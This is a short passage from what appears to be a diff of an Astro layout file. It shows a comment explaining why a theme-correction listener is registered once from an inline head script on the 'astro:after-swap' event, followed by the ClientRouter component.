document is in + place but before it is painted, so the correction never flashes. + + The listener is registered once, from an inline head script that + executes on the first full load only — which is exactly why it + has to be `is:inline` and live here rather than in app.ts: a + bundled module re-imported per page would re-register it, and a + deferred one would run too late to beat the paint. */ + document.addEventListener('astro:after-swap', apply); })(); </script> <ClientRouter />